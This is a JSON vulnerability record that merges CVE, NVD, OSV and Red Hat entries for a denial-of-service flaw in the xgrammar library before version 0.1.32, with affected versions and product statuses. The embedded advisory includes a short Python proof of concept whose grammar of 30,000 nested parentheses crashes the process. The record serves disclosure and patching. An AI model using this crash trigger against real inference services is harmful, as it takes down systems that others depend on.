{"id":"CVE-2026-25048","aliases":["GHSA-7rgv-gqhr-fxg3","PYSEC-2026-2322"],"summary":"xgrammar: Multi-layer nesting causes DoS","published_at":"2026-03-05T15:34:42.095Z","modified_at":"2026-09-10T03:50:38.008741Z","products":[],"rating":{"severity":"high","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.013209999538958073,"percentile":0.7149099707603455,"date":"2026-11-19T00:00:00Z"},"priority":10.7,"details":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"mlc-ai/xgrammar","versions":["< 0.1.32"],"provider":"cvelistv5","source":"CVE-2026-25048","relation":"self"},{"ecosystem":"NVD","package":"mlc-ai:xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"fixed":["0.1.32"],"provider":"nvd","source":"CVE-2026-25048","relation":"self"},{"ecosystem":"PyPI","package":"xgrammar","purl":"pkg:pypi/xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.17","0.1.18","0.1.19","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.29","0.1.30","0.1.31","0.1.6","0.1.7","0.1.8","0.1.9"],"fixed":["0.1.32"],"provider":"osv","source":"GHSA-7rgv-gqhr-fxg3","relation":"self"},{"ecosystem":"PyPI","package":"xgrammar","purl":"pkg:pypi/xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.28","0.1.29","0.1.3","0.1.30","0.1.31","0.1.4","0.1.4rc2","0.1.5","0.1.5rc1","0.1.6","0.1.7","0.1.8","0.1.9"],"fixed":["0.1.32"],"provider":"osv","source":"PYSEC-2026-2322","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat AI Inference Server","cpe":"cpe:/a:redhat:ai_inference_server:3","status":"affected","packages":["rhaiis/vllm-tpu-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.2","cpe":"cpe:/a:redhat:ai_inference_server:3.2::el9","status":"fixed","packages":["rhaiis"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:5809","RHSA-2026:6761","RHSA-2026:6762"],"provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","status":"affected","packages":["rhelai3/bootc-aws-cuda-rhel9","rhelai3/bootc-azure-cuda-rhel9","rhelai3/bootc-cuda-rhel9","rhelai3/bootc-gcp-cuda-rhel9"],"package_count":4,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9"],"package_count":4,"fixed":[],"advisories":[],"note":"vulnerable_code_not_in_execute_path","provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"fixed","packages":["rhoai/odh-vllm-cuda-rhel9","rhoai/odh-vllm-gaudi-rhel9","rhoai/odh-vllm-rocm-rhel9"],"package_count":3,"fixed":[],"advisories":["RHSA-2026:24977","RHSA-2026:42644"],"provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"not_affected","packages":["rhoai/odh-built-in-detector-rhel9","rhoai/odh-caikit-nlp-rhel9","rhoai/odh-caikit-tgis-serving-rhel9","rhoai/odh-codeflare-operator-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-kueue-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-routing-sidecar-rhel9","rhoai/odh-ml-pipelines-api-server-v2-rhel9","rhoai/odh-ml-pipelines-driver-rhel9"],"package_count":77,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-25048"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-25048","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-25048","license":"CC-BY-4.0","published_at":"2026-03-05T15:34:42.095Z","modified_at":"2026-07-21T12:05:13.603Z","summary":"xgrammar: Multi-layer nesting causes DoS","details":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"CVE-2026-25048"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"redhat-SADP:CVE-2026-25048"}],"affected":[{"ecosystem":"CVE","package":"mlc-ai/xgrammar","versions":["< 0.1.32"],"provider":"cvelistv5","source":"CVE-2026-25048","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"},{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"}]},{"provider":"nvd","source_id":"CVE-2026-25048","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048","severity":[],"affected":[{"ecosystem":"NVD","package":"mlc-ai:xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"fixed":["0.1.32"],"provider":"nvd","source":"CVE-2026-25048","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"GHSA-7rgv-gqhr-fxg3","relation":"self","url":"https://osv.dev/vulnerability/GHSA-7rgv-gqhr-fxg3","license":"CC-BY-4.0","published_at":"2026-03-05T18:20:08Z","modified_at":"2026-09-10T03:50:38.008741Z","summary":"xgrammar vulnerable to DoS via multi-layer nesting","details":"### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = '(' * 30000 + 'a'\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n> pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n> python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"GHSA-7rgv-gqhr-fxg3"}],"affected":[{"ecosystem":"PyPI","package":"xgrammar","purl":"pkg:pypi/xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.17","0.1.18","0.1.19","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.29","0.1.30","0.1.31","0.1.6","0.1.7","0.1.8","0.1.9"],"fixed":["0.1.32"],"provider":"osv","source":"GHSA-7rgv-gqhr-fxg3","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048"},{"type":"PACKAGE","url":"https://github.com/mlc-ai/xgrammar"},{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"}]},{"provider":"osv","source_id":"PYSEC-2026-2322","relation":"self","url":"https://osv.dev/vulnerability/PYSEC-2026-2322","license":"CC-BY-4.0","published_at":"2026-03-05T16:16:15.853Z","modified_at":"2026-07-13T07:15:49.592498Z","details":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"PYSEC-2026-2322"}],"affected":[{"ecosystem":"PyPI","package":"xgrammar","purl":"pkg:pypi/xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.28","0.1.29","0.1.3","0.1.30","0.1.31","0.1.4","0.1.4rc2","0.1.5","0.1.5rc1","0.1.6","0.1.7","0.1.8","0.1.9"],"fixed":["0.1.32"],"provider":"osv","source":"PYSEC-2026-2322","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-25048"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25048.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:5809"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6761"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6762"},{"type":"ADVISORY","url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444840"},{"type":"EVIDENCE","url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"}]},{"provider":"redhat-vex","source_id":"CVE-2026-25048","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-25048","license":"CC-BY-4.0","published_at":"2026-03-05T15:34:42.095Z","modified_at":"2026-03-16T08:31:19Z","summary":"xgrammar: xgrammar: Denial of Service via multi-level nested syntax","details":"A flaw was found in xgrammar, an open-source library for structured generation. This vulnerability allows an attacker to trigger a segmentation fault, causing the program to crash and resulting in a Denial of Service (DoS). The issue occurs due to improper handling of multi-level nested syntax.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"CVE-2026-25048"},{"type":"Red Hat","score":"Important","source":"CVE-2026-25048"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Red Hat AI Inference Server","cpe":"cpe:/a:redhat:ai_inference_server:3","status":"affected","packages":["rhaiis/vllm-tpu-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.2","cpe":"cpe:/a:redhat:ai_inference_server:3.2::el9","status":"fixed","packages":["rhaiis"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:5809","RHSA-2026:6761","RHSA-2026:6762"],"provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","status":"affected","packages":["rhelai3/bootc-aws-cuda-rhel9","rhelai3/bootc-azure-cuda-rhel9","rhelai3/bootc-cuda-rhel9","rhelai3/bootc-gcp-cuda-rhel9"],"package_count":4,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9"],"package_count":4,"fixed":[],"advisories":[],"note":"vulnerable_code_not_in_execute_path","provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"fixed","packages":["rhoai/odh-vllm-cuda-rhel9","rhoai/odh-vllm-gaudi-rhel9","rhoai/odh-vllm-rocm-rhel9"],"package_count":3,"fixed":[],"advisories":["RHSA-2026:24977","RHSA-2026:42644"],"provider":"redhat-vex","source":"CVE-2026-25048"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"not_affected","packages":["rhoai/odh-built-in-detector-rhel9","rhoai/odh-caikit-nlp-rhel9","rhoai/odh-caikit-tgis-serving-rhel9","rhoai/odh-codeflare-operator-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-kueue-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-routing-sidecar-rhel9","rhoai/odh-ml-pipelines-api-server-v2-rhel9","rhoai/odh-ml-pipelines-driver-rhel9"],"package_count":77,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-25048"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25048.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-25048"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444840"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-25048"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048"},{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"},{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"}]}],"references":[{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"},{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048"},{"type":"PACKAGE","url":"https://github.com/mlc-ai/xgrammar"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-25048"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25048.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:5809"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6761"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6762"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444840"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-25048"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-25048","url":"https://www.cve.org/CVERecord?id=CVE-2026-25048","license":"CC-BY-4.0","modified_at":"2026-07-21T12:05:13.603Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-25048","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048","relation":"self"},{"provider":"osv","source_id":"GHSA-7rgv-gqhr-fxg3","url":"https://osv.dev/vulnerability/GHSA-7rgv-gqhr-fxg3","license":"CC-BY-4.0","modified_at":"2026-09-10T03:50:38.008741Z","relation":"self"},{"provider":"osv","source_id":"PYSEC-2026-2322","url":"https://osv.dev/vulnerability/PYSEC-2026-2322","license":"CC-BY-4.0","modified_at":"2026-07-13T07:15:49.592498Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-25048","url":"https://access.redhat.com/security/cve/CVE-2026-25048","license":"CC-BY-4.0","modified_at":"2026-03-16T08:31:19Z","relation":"self"}]}
